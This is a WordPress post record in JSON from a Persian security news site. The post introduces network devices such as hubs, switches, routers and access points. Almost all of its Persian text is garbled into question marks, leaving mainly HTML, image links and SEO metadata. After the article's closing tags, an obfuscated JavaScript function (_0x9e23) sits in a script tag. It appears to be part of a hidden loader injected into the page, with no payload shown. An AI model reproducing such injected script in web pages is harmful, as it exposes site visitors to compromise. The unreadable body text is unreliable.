src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/09_access_point.jpg?itok=JIYKLHJk\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ?? ?? ?????\u00a0??????????\u00a0??????<\/p>\n<p style=\"text-align: justify;\"><strong>???? ?????? ?? ??????????\u00a0??????<\/strong> ???????? ?????????? ??? ?? ??????? ??????? ?? ???? ?? ?? ???? ????? ???? ???????.\u00a0??? ???? ????????? ????? ??? ??? ?? ??? ????? (????\u00a0?????? ??????? ?????\u00a0???????? ????? ???? ?????????) ??????? ???? ?? ?????????\u00a0?? ??????? ?????? ? ?? ???? ??????? ?? ???? ???? ????. ?? ???????? ?? ??????? ?? <strong>?????????? ??????<\/strong> ????????? ???? ?? ?? ???? (????? ??).\u00a0<strong>???????????\u00a0<\/strong>?? ????? ??????? ????? ?????? ? ?? ???? ????? ???? ?? ?? ???? ?? ?? ???? ???? ???? ???????.<\/p>\n<p style=\"text-align: justify;\">?????? ?????? ?? ??????? ????? ? ????? ?? ?? ?? ???? ??????? ????? ? ?????? ??????? ???????. ??? ?????? ?? ???????? ???? ?? ?????????? ???? ????? ????\u00a0(????? ??).<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/09_access_point_01.jpg?itok=5AcoDbU4\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">????? ??? ???? ??? ????? ????? ???. ?? ??? ?? ?????? ?????? ???????\u00a0??????? ?????? ?? ???? ???? ????? ???? ??\u00a0?????????? ??????? ???.<\/p>\n<hr \/>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"image-content ui-image-body aligncenter\" src=\"https:\/\/www.shabakeh-mag.com\/sites\/default\/files\/styles\/content\/public\/images\/body\/09_access_point_02.jpg?itok=IiS-j4zc\" alt=\"\" \/><\/p>\n<p style=\"text-align: justify;\">?????\u00a0???\u00a0?? ??? ????? ?? ???? ?????? ??????? ??? ???. ???? ?????? ?? ??????? ?????? ?? ???? ????? ? ?????????? ?????? ?????. ??? ???? ??????? ?? ?????????? ???? ?????.<\/p>\n<p style=\"text-align: justify;\"><strong>?????????? <\/strong>???????? ??? ????? ?? ???? ??? ?? ?? ???? ????? ????????? ?? ?? ??????? ?????? ???? ??????. ?????? ???????? ?? ??? <strong>?????<\/strong> ???? ??? ?? ??????? ?? ?? ?? <strong>?????????? <\/strong>?? <strong>?????????? <\/strong>???? ?????? ??????.<\/p>\n<p style=\"text-align: justify;\">\u00a0<strong>??????????????<\/strong>\u00a0<strong>?????? <\/strong>?? ??????\u00a0???????????????\u00a0(transceiver) ????? ?? ???? ????? ???? ???? ?????? (WLAN) ?? ??? ??????. ?????\u00a0??? ?????\u00a0???? ?????? ? ???? ???? <a href=\"https:\/\/www.shabakeh-mag.com\/networking-technology\/16227\/%D8%A7%D8%AA%D8%B1%D9%86%D8%AA-%DA%86%DB%8C%D8%B3%D8%AA%D8%9B-%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D8%B4%D8%A8%DA%A9%D9%87-%D8%A7%D8%AA%D8%B1%D9%86%D8%AA-%D9%88-%D8%B9%D9%85%D9%84%DA%A9%D8%B1%D8%AF-%D8%A2%D9%86%E2%80%8C\">?????<\/a> ?????? ???? ????? ???? ????????. ????? <strong>?????????????? <\/strong>???????? ?? ?? ???? ?? ???? ?? ???? ? ????? ??????? ?????? ?? ???? ?? ???? ??? ????? ????? ????.\u00a0???? ?? ??????? ??\u00a0<strong>??????????????<\/strong> ?????\u00a0???????\u00a0?????????? ?????? ?????? ?? ?? ???? ???? ??? ? ??? ???? ?????? ?? ??? ????? ???. ?? <strong>??????????<\/strong>? ??? ?????\u00a0???? ???? ????? ??????????\u00a0??????\u00a0?? <strong>??????????<\/strong>\u00a0????? ??? ?? ?? ????? ????. ????? ????? ?????? ?? <strong>??????????<\/strong> ?? ????????? ?????? ? ????? ???? ? ????? ??? ?????? ? <strong>??????????<\/strong> ????? ????. <strong>??????????????<\/strong> ?????????? ???????? ??????? ????? ?? ??? ?????? ?????????? ???????\u00a0????? ?????? ???????.\u00a0<strong>?????????????? <\/strong>?? ???? ????? ???? ??? OSI ??? ???????.<\/p>\n<p style=\"text-align: justify;\"><strong>??? ??????<\/strong><\/p>\n<p style=\"text-align: justify;\">???? ???? ?????? ????? <strong>??????? ????<\/strong> ???? ?????? ???? ???? ??????\u00a0?? ??????? ?? ?????????? ????? ????. ??? ???? ?????? ?? ????? ? ???????????? ????? ???????? ????? ????? ???? ?????? ?? ??????? ???? ??? ? ?????????? ??????? ?? ????? ????? ?????.\u00a0?? ???????? ?????? ??????????? ?????? ???????? ? ????? ??????? ?? ??????? ??????? ??????\u00a0???.<\/p>\n<p>???????:<\/p>\n<p>??? ?????<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>?? ?????? ????? ????? ????????? ?? ??????? ????????? ?? ?????????? ? ??????? ?????????? ????? ?? ?? ?????? ?????? ????? ?? ?????? ?????. ??? ?????????? ? ??????? ?????????? ?? ???? ???????? ???? (node) ??? ????????. ??????? ???? ???? ?????? ? ????? ?? ??? ?? ???????????? ???? ???? ????? ?? ????? ?? ??????? ??????? ???? ????????. ??????? &hellip;<\/p>\n","protected":false},"author":3,"featured_media":1927,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[150],"tags":[428,424,420,423,427,422,421,425,426,286],"class_list":["post-1926","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-150","tag-428","tag-424","tag-420","tag-423","tag-427","tag-422","tag-421","tag-425","tag-426","tag-286"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.4 (Yoast SEO v28.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0634\u0628\u06a9\u0647: \u06a9\u0627\u0631\u062a \u0634\u0628\u06a9\u0647\u060c \u0647\u0627\u0628\u060c \u0633\u0648\u0626\u06cc\u0686\u060c \u0631\u0648\u062a\u0631\u060c \u0628\u0631\u06cc\u062c\u060c \u06af\u06cc\u062a\u200c\u0648\u06cc\u060c \u0645\u0648\u062f\u0645\u060c \u0631\u06cc\u067e\u06cc\u062a\u0631\u060c \u0627\u06a9\u0633\u0633\u200c\u067e\u0648\u06cc\u0646\u062a - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/soroosheamniyat.ir\/?p=1926\" \/>\n<meta property=\"og:locale\" content=\"fa_IR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0634\u0628\u06a9\u0647: \u06a9\u0627\u0631\u062a \u0634\u0628\u06a9\u0647\u060c \u0647\u0627\u0628\u060c \u0633\u0648\u0626\u06cc\u0686\u060c \u0631\u0648\u062a\u0631\u060c \u0628\u0631\u06cc\u062c\u060c \u06af\u06cc\u062a\u200c\u0648\u06cc\u060c \u0645\u0648\u062f\u0645\u060c \u0631\u06cc\u067e\u06cc\u062a\u0631\u060c \u0627\u06a9\u0633\u0633\u200c\u067e\u0648\u06cc\u0646\u062a\" \/>\n<meta property=\"og:description\" content=\"?? ?????? ????? ????? ????????? ?? ??????? ????????? ?? ?????????? ? ??????? ?????????? ????? ?? ?? ?????? ?????? ????? ?? ?????? ?????. ??? ?????????? ? ??????? ?????????? ?? ???? ???????? ???? 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